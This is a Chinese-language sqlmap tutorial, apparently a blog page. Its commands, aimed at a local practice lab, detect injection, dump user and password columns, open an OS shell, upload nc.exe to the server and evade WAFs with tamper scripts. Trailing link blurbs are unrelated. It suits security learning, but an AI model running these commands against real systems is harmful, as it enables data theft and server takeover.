sqlmap是一个自动化的sql注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库有MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB。
sqlmap支持五种不同的注入模式:

  • 1 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
  • 2 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
  • 3 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
  • 4 联合查询注入,可以使用union的情况下的注入;
  • 5 堆查询注入,可以同时执行多条语句的执行时的注入。

1.安装sqlmap

  • 下载及安装:https://github.com/sqlmapproject/sqlmap

2.sqlmap入门

.判断是否存在注入
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1&uid=2" #参数大于1时加双引号 .判断文本中的请求是否存在注入
sqlmap.py -r test.txt #-r一般在存在cookie注入时使用 .查询当前用户下的所有数据库
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --dbs .获取数据库下的表名
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security --tables .获取表中的字段名
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users --columns .获取字段的内容
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users -C username,password --dump .获取数据库的所有用户
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --users .获取数据库用户的密码
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --password .获取当前网站数据库的名称
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-db .获取当前网站数据库的用户名称
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-user

3.sqlmap进阶:参数讲解

.--level=:探测等级,-,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。

.--id-dba:当前用户是否为管理权限

.--roles:列出数据库管理员角色,仅适用于当前数据库是Oracle的时候

.--referer=https://www.baid.com :sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入

.--sql-shell:运行自定义sql语句

.--os-cmd,--os-shell:运行任意操作系统命令

.--file-read "C:/example.exe":从数据库服务器中读取文件

.sqlmap.py -u URL –file-write ”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” 上传文件到数据库服务器中

4.sqlmap自带绕过脚本tamper的讲解

--identify-waf可以检查网站是否有安全防护(WAF/IDS/IPS)
--tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。
命令:sqlmap.py -u "URL" --tamper "模块名"
目前官方提供53个绕过脚本,比如

apostrophemask.py #将引号替换为UTF-,用于过滤单引号
base64encode.py #替换为base64编码
multiplespaces.py #围绕sql关键字添加多个空格
space2plus.py #用+号替换空格
nonrecursivereplacement.py #作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
space2randomblank.py #将空格替换为其他有效字符
unionalltounion.py #将union all select 替换为union select
securesphere.py #追加特制的字符串
space2hash.py #将空格替换为#号,并添加一个随机字符串和换行符。
space2mssqlblank.py #(mssql)将空格替换为其他空符号
space2mssqlhash.py #将空格替换为#号,并添加一个换行符
between.py #用NOT BETWEEN AND替换大于号,用BETWEEN AND替换等号
percentage.py #ASP允许在每个字符前面添加一个%号
sp_password.py #从DBMS日志的自动模糊处理的有效载荷中追加sp_password
charencode.py #对给定的Payload全部字符使用URL编码(不处理已经编码的字符)
randomcase.py #随机大小写
charunicodeencode.py #字符串Unicode编码
space2comment.py #将空格替换为/**/
equaltolike.py #将等号替换为like
greatest.py #绕过对>的过滤,用GREATEST替换大于号
ifnull2ifisnull.py #绕过IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)
modsecurityversioned.py #过滤空格,使用Mysql内联注释的方法进行注入
space2mysqlblank.py #将空格替换为其他空白符号(使用户MySQL)
modsecurityzeroversioned.py #使用mysql内联注释(/*! 00000*/)的方式进行注入
space2mysqldash.py #将空格替换为--,并添加一个换行符。
bluecoat.py #在sql语句之后用有效的随机空白符替换空格符,随后用like替换等于号。
versionedkeywords.py #注释绕过
halfversionedmorekeywords.py #当数据库为mysql时绕过防火墙,在每个关键字之前添加mysql版本注释
space2morehash.py #将空格替换为#号,并添加一个随机字符串和换行符。
apostrophenullencode.py #用非法双字节unicode字符替换单引号
appendnullbyte.py #在有效载荷的结束为止加载零字节字符编码
chardoubleencode.py #对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
unmagicquotes.py #用一个多字节组合(%bf%)和末尾通用注释一起替换空格。
randomcomments.py #用/**/分割sql关键字

sqlmap详解的更多相关文章

  1. sqlmap 详解

    sqlmap 使用总结   0x01 需要了解 当给 sqlmap 这么一个 url 的时候,它会:1.判断可注入的参数 2.判断可以用那种 SQL 注入技术来注入 3.识别出哪种数据库 4.根据用户 ...

  2. 详解强大的SQL注入工具——SQLMAP

    1. 前言  Windows下的注入工具好的又贵,免费的啊D.明小子等又不好用,我们根本没必要花 时间去找什么破解的havij.pangolin什么的,特别是破解的工具很可能被绑了木马.其实 Linu ...

  3. sqlmap命令详解

    cookie注入:sqlmap.py -u 注入点 --cookie "参数" --tables --level 2 POST登录框注入:sqlmap.py -r 从文件读取数据 ...

  4. SQLMAP使用详解

    使用示例 python sqlmap.py -u "http://xx.com/member.php?id=XX"  -p id --dbms "Mysql"  ...

  5. Sqlmap全参数详解

    sqlmap全参数详解 sqlmap是在sql注入中非常常用的一款工具,由于其开源性,适合从个人到企业,从学习到实战,各领域各阶段的应用,我们还可以将它改造成我们自己独有的渗透利器.这款工具中,大大小 ...

  6. sqlmap用户手册详解【实用版】

    网上的sqlmap教程很多,但是我自己备忘小笔记都是在我的电脑上存着了,万一我要出去玩的时候,有点忘了,还得再百度翻翻,还不如发到我自己知乎上,忘了立马一看就记着了.虽说我的sqlmap备忘小笔记汇总 ...

  7. Sqlmap 工具用法详解

    Sqlmap 工具用法详解                                 sqlmap是一款自动化的sql注入工具.     1.主要功能:扫描.发现.利用给定的url的sql注入漏 ...

  8. sqlMapConfig.xml配置文件详解

    sqlMapConfig.xml配置文件详解: Xml代码 Xml代码  <? xml version="1.0" encoding="UTF-8" ?& ...

  9. Mybatis配置详解

    一.SqlSession的使用范围说明  1.SQLSessionFactoryBuilder   通过SqlSessionFactoryBuilder创建会话工厂SqlSessionFactory, ...

随机推荐

  1. js 实现排序算法 -- 希尔排序(Shell Sort)

    原文: 十大经典排序算法(动图演示) 希尔排序 1959年Shell发明,第一个突破O(n2)的排序算法,是简单插入排序的改进版.它与插入排序的不同之处在于,它会优先比较距离较远的元素.希尔排序又叫缩 ...

  2. python js正则表达式

    一.定义正则表达式 /.../  用于定义正则表达式 /.../g 表示全局匹配 /.../i 表示不区分大小写 /.../m 表示多行匹配JS正则匹配时本身就是支持多行,此处多行匹配只是影响正则表达 ...

  3. Maven基本概念和操作

    最近在学Java,找来一个开源项目练手,它是用 Spring Boot 搭建的框架,于是去学 Spring Boot,然而 Spring Boot 需要有 Spring 框架和 Maven 的使用经验 ...

  4. python基础局部变量、全局变量

    局部变量的作用域只作用与当前函数块(或代码块)中,对函数块(或代码块)之外的重名变量,没有任何影响. 在函数块(或代码块)中,局部变量可用通过global关键字声明变量来改变在函数块(或代码块)之外对 ...

  5. 事件绑定持有对象引用导致GC不回收对象

    现象 封装了一个部门选择框对象,在第一次创建选择框的时候是正确的,但是在关闭之后再次创建,发现点击事件被调用两次,于是console.log(),发现第一次创建的选择框的数据也被打印了一次,执行两次分 ...

  6. 递归加法(day1)

    题目:求1+2+-+n,要求不能使用乘除法.for.while.if.else.switch.case等关键字以及条件判断语句(A?B:C). 使用函数指针 1 2 3 4 5 6 7 8 9 10 ...

  7. Samtec大数据技术解决方案

    序言:众所周知,大数据将在AI时代扮演重要角色,拥有海量数据的公司已在多个领域尝试对掌握的数据进行利用,大数据意识和能力进步飞快,体系和工具日趋成熟. Samtec和Molex 是获得许可从而提供 M ...

  8. [Tensorflow-CPU完整安装过程-Win10]新手各种踩过的坑

    流程介绍:先安装Anaconda(不同Python版本对于Anaconda不同!!见图),然后就是在Anaconda Prompt里面安装Tensorflow即可. 环境介绍:Anaconda3-4. ...

  9. 微信WXSS样式文件

    目录 WXSS官方文档 1. WXSS 1.1. 尺寸单位 1.2. 样式导入 1.3. 内联样式 1.4. 选择器 1.5. 全局样式与局部样式 WXSS官方文档 https://developer ...

  10. Java Opencv 实现锐化

    § Laplacian() void cv::Laplacian    (    InputArray     src,                                       O ...